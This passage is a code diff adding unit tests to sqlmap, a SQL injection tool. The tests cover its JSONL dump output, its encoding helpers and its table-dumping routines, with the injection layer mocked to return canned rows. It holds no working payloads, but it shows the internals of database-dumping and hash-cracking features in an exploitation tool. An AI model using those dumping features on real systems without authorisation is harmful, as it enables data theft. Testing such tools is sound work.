Replication.TEXT)]) + with self.assertRaises(SqlmapValueException): + t.insert(["only-one-value"]) + + def test_typeless_table(self): + t = self.repl.createTable("t", ["a", "b"], typeless=True) + t.insert(["x", "y"]) + self.assertEqual(t.select(), [("x", "y")]) + + def test_datatype_str(self): + self.assertEqual(str(Replication.TEXT), "TEXT") + self.assertEqual(str(Replication.INTEGER), "INTEGER") + self.assertIn("DataType", repr(Replication.REAL)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py new file mode 100644 index 00000000000..515b68bf3ef --- /dev/null +++ b/tests/test_dump_jsonl.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSONL output of the per-table dumper (Dump.dbTableValues in lib/core/dump.py). + +--dump-format=JSONL writes one self-describing JSON object per row to a +/dump//.jsonl file, streaming-safe (one independent line per +row, no surrounding array/header/footer). These tests pin the contract that an +automated consumer relies on: column order preserved (so it matches the CSV +column order and is reproducible on Python 2's unordered dict), the DB-NULL +marker (" ") mapped to JSON null exactly like --report-json, the empty string +left intact (NOT collapsed to null), and a strict one-object-per-line layout. +""" + +import io +import json +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT + + +class _JsonlDumpCase(unittest.TestCase): + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", "limitStart", "limitStop", "csvDel", "forceDbms", "dbms")) + self._savedKb = dict((k, kb.get(k)) for k in ("forcedDbms", "dbms")) + # A DBMS leaked from an earlier test (e.g. one that uppercases identifiers) would change + # both the on-disk filename and the JSON keys, so pin a neutral, case-preserving back-end. + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-jsonl-test") + conf.dumpFormat = DUMP_FORMAT.JSONL + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _dump(self, table_values): + self.d.dbTableValues(table_values) + db = table_values["__infos__"]["db"] or "All" + path = os.path.join(self.tmp, db, "%s.jsonl" % table_values["__infos__"]["table"]) + # sqlmap writes the dump file as UTF-8; read it the same way (not the platform default, + # which is cp1252 on Windows CI and would mojibake multibyte values) + with io.open(path, encoding="utf-8") as f: + content = f.read() + return content + + def _rows(self, content): + return [json.loads(line) for line in content.splitlines() if line.strip()] + + +class TestJsonlContract(_JsonlDumpCase): + def test_one_object_per_row(self): + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "users"}, + "id": {"length": 2, "values": ["1", "2"]}, + "name": {"length": 6, "values": ["luther", "fluffy"]}, + }) + # exactly N non-empty lines, each terminated by a newline, each a standalone object + lines = content.splitlines() + self.assertEqual(len(lines), 2) + self.assertTrue(content.endswith("\n")) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "name": "luther"}) + self.assertEqual(rows[1], {"id": "2", "name": "fluffy"}) + + def test_no_header_or_footer(self): + # unlike CSV (header row) / HTML (doc scaffold), JSONL must be pure data lines + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1"]}, + }) + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(len(lines), 1) + self.assertEqual(json.loads(lines[0]), {"id": "1"}) + + def test_db_null_becomes_json_null(self): + # sqlmap stores a DB NULL as a single space (" "); the machine format must emit JSON null, + # consistent with --report-json. An empty string is a real value and must stay "". + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "a": {"length": 1, "values": [" "]}, # DB NULL marker + "b": {"length": 1, "values": [""]}, # genuine empty string + "c": {"length": 1, "values": ["x"]}, + }) + row = self._rows(content)[0] + self.assertIsNone(row["a"]) + self.assertEqual(row["b"], "") + self.assertEqual(row["c"], "x") + + def test_missing_value_is_null(self): + # a column whose values list is short for this row index must serialize as null, not crash + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1", "2"]}, + "lagging": {"length": 4, "values": ["only-one"]}, # missing index 1 + }) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "lagging": "only-one"}) + self.assertEqual(rows[1], {"id": "2", "lagging": None}) + + def test_column_order_matches_csv(self): + # The serialized byte stream must keep the (priority-sorted) column order so output is + # reproducible - even on Python 2 where a plain dict would not - and that order must be + # the SAME one CSV uses. Build the input as an OrderedDict so the expectation is fixed, + # then dump the identical data as both JSONL and CSV and compare the column sequences. + def table(): + tv = OrderedDict() + tv["__infos__"] = {"count": 1, "db": "testdb", "table": "t"} + tv["zebra"] = {"length": 1, "values": ["1"]} + tv["alpha"] = {"length": 1, "values": ["2"]} + tv["middle"] = {"length": 1, "values": ["3"]} + return tv + + jsonl_line = [l for l in self._dump(table()).splitlines() if l.strip()][0] + jsonl_order = [k for k, _ in json.loads(jsonl_line, object_pairs_hook=lambda p: p)] + + conf.dumpFormat = DUMP_FORMAT.CSV + csv_path = os.path.join(self.tmp, "testdb", "t.csv") + if os.path.exists(csv_path): + os.remove(csv_path) + self.d.dbTableValues(table()) + with io.open(csv_path, encoding="utf-8") as f: + csv_header = f.read().splitlines()[0] + csv_order = [c.strip() for c in csv_header.split(conf.csvDel)] + + self.assertEqual(jsonl_order, csv_order) + + def test_unicode_value_not_escaped(self): + # ensure_ascii=False keeps multibyte data readable; it must round-trip through json.loads + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "name": {"length": 6, "values": [u"\u0107evap"]}, + }) + self.assertEqual(self._rows(content)[0]["name"], u"\u0107evap") + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_encoding.py b/tests/test_encoding.py new file mode 100644 index 00000000000..f6fcd41744a --- /dev/null +++ b/tests/test_encoding.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core text<->bytes conversions (lib/core/convert.py): getBytes, getUnicode, +getText. (getOrds is covered in test_convert.py.) + +These are called on essentially every request and response, on both Python 2 +and 3, and are the main thing standing between sqlmap and a UnicodeDecodeError +mid-scan. Pinned with known vectors, non-string coercion, and an encoding +round-trip property over multiple charsets. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.convert import getBytes, getUnicode, getText + +RND = random.Random(2024) + + +class TestTypes(unittest.TestCase): + # value+type (not type alone): a stub returning b"" would pass an isinstance-only check, and + # on py3 a getBytes that wrongly returned str would slip past a round-trip on the unicode path + def test_getBytes_returns_bytes(self): + out = getBytes(u"abc") + self.assertIsInstance(out, bytes) + self.assertEqual(out, b"abc") + + def test_getUnicode_returns_unicode(self): + out = getUnicode(b"abc") + self.assertIsInstance(out, type(u"")) + self.assertEqual(out, u"abc") + + def test_getText_returns_native_str(self): + self.assertIsInstance(getText(b"abc"), str) + self.assertEqual(getText(b"abc"), "abc") + + +class TestCoercion(unittest.TestCase): + def test_getUnicode_of_number(self): + self.assertEqual(getUnicode(123), u"123") + + +class TestRoundTrip(unittest.TestCase): + def test_known_utf8(self): + self.assertEqual(getUnicode(getBytes(u"caf\xe9", "utf-8"), "utf-8"), u"caf\xe9") + + def test_property_multi_charset(self): + # printable BMP-ish range, round-trip through utf-8 and latin1-safe subset + for encoding, hi in (("utf-8", 0x2000), ("latin-1", 0x100)): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0, hi - 1)) if sys.version_info[0] < 3 + else chr(RND.randint(0, hi - 1)) for _ in range(RND.randint(0, 16))) + self.assertEqual(getUnicode(getBytes(s, encoding), encoding), s, + msg="round-trip failed (%s): %r" % (encoding, s)) + + +# py2 has unichr, py3 does not; normalize so the file imports cleanly on both +try: + unichr +except NameError: + unichr = chr + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_entries.py b/tests/test_entries.py new file mode 100644 index 00000000000..b4cb78dfbc4 --- /dev/null +++ b/tests/test_entries.py @@ -0,0 +1,806 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for plugins/generic/entries.py (Entries), exercising dumpTable / +dumpAll / dumpFoundTables / dumpFoundColumn by MOCKING the injection layer +(lib.request.inject.getValue) and the dumper. + +No network and no DBMS are involved: conf.direct=True selects the simple inband +branches, or conf.direct=False with a BOOLEAN injection state selects the +inference (blind) branches; inject.getValue is patched to return canned rows in +the exact shape the methods parse, and conf.dumper is replaced with a recording +stub so we can assert on what each method produced (kb.data caches / returned +dicts). Every test restores all touched conf.* / kb.* / patched module attributes +in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD + +import plugins.generic.search as smod +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +from plugins.generic.entries import Entries + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_search_enum.py (inband TestEntries) +# --------------------------------------------------------------------------- # + +class _RecordingDumperSE(object): + """Minimal stand-in for conf.dumper that records calls instead of printing/writing.""" + + def __init__(self): + self.reset() + + def reset(self): + self.listed = [] # (header, elements) + self.dbTablesArg = None + self.dbColumnsArg = None + self.dbTableColumnsArg = None + self.tableValues = [] + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + def dbTableColumns(self, tableColumns, content_type=None): + self.dbTableColumnsArg = tableColumns + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesSE(Entries): + """Entries with cross-mixin collaborators stubbed (forceDbmsEnum/getCurrentDb/getColumns/getTables).""" + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # {db: {tbl: {col: type}}} + self.getTablesResult = {} # value assigned to kb.data.cachedTables + self.getColumnsCalls = [] + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _SearchEnumBase(unittest.TestCase): + def setUp(self): + # Save mutated globals + self._saved_conf = {k: conf.get(k) for k in ( + "db", "tbl", "col", "direct", "excludeSysDbs", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", + )} + self._saved_dumper = conf.get("dumper") + self._search_getValue = smod.inject.getValue + self._entries_getValue = emod.inject.getValue + self._search_readInput = smod.readInput + self._entries_readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + + set_dbms("MySQL") + conf.direct = True + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumper = _RecordingDumperSE() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + # Non-interactive prompts: collapse readInput to its default. + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return True if (default in (None, 'Y', 'y', True)) else False + return default + smod.readInput = _readInput + emod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._search_getValue + emod.inject.getValue = self._entries_getValue + smod.readInput = self._search_readInput + emod.readInput = self._entries_readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + + +class TestEntries(_SearchEnumBase): + def _entries_with_cols(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesSE() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + # --- dumpTable: inband (conf.direct) ------------------------------------ + + def test_dump_table_inband_rows(self): + e = self._entries_with_cols(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + # MySQL inband dump returns a list of [colVal, colVal] rows. + emod.inject.getValue = lambda *a, **k: [["1", "alice"], ["2", "bob"]] + + e.dumpTable() + + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(dumped["__infos__"]["table"], "users") + self.assertEqual(dumped["__infos__"]["db"], "testdb") + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_uses_foundData(self): + e = _TestEntriesSE() + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["x"]] + foundData = {"testdb": {"users": {"id": "int"}}} + + e.dumpTable(foundData=foundData) + + # foundData short-circuits column discovery: getColumns must not run. + self.assertEqual(e.getColumnsCalls, []) + self.assertIn("id", conf.dumper.tableValues[-1]) + + def test_dump_table_no_columns_skips(self): + e = _TestEntriesSE() + e.getColumnsResult = {} # discovery yields nothing + conf.db = "testdb" + conf.tbl = "ghost" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # No columns => no values dumped. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_empty_entries(self): + e = self._entries_with_cols(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: None # no rows + + e.dumpTable() + # Nothing retrieved => dumpedTable empty => dbTableValues not called. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_current_db(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + conf.db = None # triggers getCurrentDb() -> "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["7"]] + + e.dumpTable() + self.assertEqual(conf.db, "testdb") + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["7"]) + + def test_dump_table_multiple_db_error(self): + e = _TestEntriesSE() + conf.db = "a,b" + conf.tbl = "users" + conf.col = None + from lib.core.exception import SqlmapMissingMandatoryOptionException + self.assertRaises(SqlmapMissingMandatoryOptionException, e.dumpTable) + + def test_dump_table_get_tables_when_no_tbl(self): + e = _TestEntriesSE() + e.getTablesResult = {"testdb": ["users"]} + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = None + conf.col = None + emod.inject.getValue = lambda *a, **k: [["42"]] + + e.dumpTable() + # Tables were discovered via getTables, then the row dumped. + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["42"]) + + # --- dumpAll: single-db delegation -------------------------------------- + + def test_dump_all_single_db_delegates(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + # dumpAll with db set & tbl None must delegate straight to dumpTable. + conf.db = "testdb" + conf.tbl = None + conf.col = None + e.getTablesResult = {"testdb": ["users"]} + emod.inject.getValue = lambda *a, **k: [["9"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_more.py (inband dump branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperGM(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +class _TestEntriesGM(Entries): + """Entries with cross-mixin collaborators stubbed. + + forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by + sibling mixins; we emulate column/table discovery by populating kb.data.cached* + from canned attributes, exactly as the production plugins do. + """ + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # assigned to kb.data.cachedColumns + self.getTablesResult = {} # assigned to kb.data.cachedTables + self.getColumnsCalls = [] + self.getTablesCalls = 0 + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + self.getTablesCalls += 1 + kb.data.cachedTables = dict(self.getTablesResult) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperGM() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +class TestEntriesDumpTable(_GenericBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesGM() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_exclude_filters_columns(self): + set_dbms("MySQL") + e = self._entries(cols=("id", "secret")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertIn("id", dumped) + self.assertNotIn("secret", dumped) + + def test_exclude_all_columns_skips(self): + set_dbms("MySQL") + e = self._entries(cols=("secret",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # all columns excluded => "no usable column names" => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dumpwhere_rewrites_query(self): + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.dumpWhere = "id>5" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["9"]] + + emod.inject.getValue = gv + e.dumpTable() + # agent.whereQuery folds conf.dumpWhere into the dump query + self.assertIn("id>5", captured["query"]) + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) + + def test_disablehashing_false_path(self): + # conf.disableHashing False => attackDumpedTable() is invoked; with no + # hashes present it must complete without raising and still emit values. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.disableHashing = False + emod.inject.getValue = lambda *a, **k: [["1", "alice"]] + + # Spy on attackDumpedTable: with disableHashing False it MUST be invoked + # after the values are dumped. A recorder replaces it so we can assert the + # call happened (and no real dictionary attack runs). + saved_attack = emod.attackDumpedTable + calls = {"n": 0} + emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) + try: + e.dumpTable() + finally: + emod.attackDumpedTable = saved_attack + + self.assertEqual(calls["n"], 1) + self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) + + def test_missing_columns_skips_table(self): + # getColumns yields nothing for the targeted table => skip without fetching. + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + def test_multiple_tables_one_dumped(self): + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} + conf.db = "testdb" + conf.tbl = "users,posts" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + # both tables share the same cachedColumns dict => both dumped + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertIn("posts", tables) + + def test_metadb_suffix_db(self): + # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in + # kb.dumpTable, and dumping still succeeds. + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + metadb = "x%s" % METADB_SUFFIX + e = self._entries(db=metadb, tbl="t", cols=("c",)) + conf.db = metadb + conf.tbl = "t" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["v"]] + + e.dumpTable() + self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) + + +class TestEntriesDumpAll(_GenericBase): + def test_dumpall_multiple_dbs_tables(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} + # dumpTable re-discovers columns per (db, tbl); supply both. + e.getColumnsResult = { + "db1": {"t1": {"a": "int"}}, + "db2": {"t2": {"b": "int"}}, + } + emod.inject.getValue = lambda *a, **k: [["x"]] + + e.dumpAll() + # Every table contributed a values batch. + self.assertEqual(len(conf.dumper.tableValues), 2) + + def test_dumpall_list_cached_tables(self): + # cachedTables as a bare list => wrapped under {None: [...]}. + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + + # getTables sets cachedTables; emulate the list shape directly. + class _ListTables(_TestEntriesGM): + def getTables(self_inner, bruteForce=None): + kb.data.cachedTables = ["users"] + + e = _ListTables() + # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the + # None db via getCurrentDb() -> "testdb", so columns live under "testdb". + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + # The bare-list None db must be resolved via getCurrentDb() -> "testdb" + # before the dump; assert the dumped __infos__ carries the real db (not + # None) for the requested "users" table. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dumpall_exclude_skips_table(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + conf.exclude = "secret" + e.getTablesResult = {"db1": ["secret", "users"]} + e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertNotIn("secret", tables) + + +class TestEntriesDumpFound(_GenericBase): + def _entries(self): + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + return e + + def test_dump_found_tables_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. + e.dumpFoundTables({"testdb": ["users"]}) + self.assertTrue(conf.dumper.tableValues) + # The interactive selection must dump the REQUESTED db/table, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dump_found_tables_declined(self): + set_dbms("MySQL") + e = self._entries() + + def _no(message, default=None, checkBatch=True, boolean=False): + if boolean: + return False + return default + + emod.readInput = _no + emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") + e.dumpFoundTables({"testdb": ["users"]}) + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_found_column_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + dbs = {"testdb": {"users": {"id": "int"}}} + e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') + self.assertTrue(conf.dumper.tableValues) + # The selection must dump the REQUESTED db/table mapping, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_enum_more.py (inference branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperInf(object): + def __init__(self): + self.tableValues = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesInf(Entries): + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} + self.getTablesResult = {} + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _EntriesBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = emod.inject.getValue + self._cbe = emod.inject.checkBooleanExpression + self._readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperInf() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + 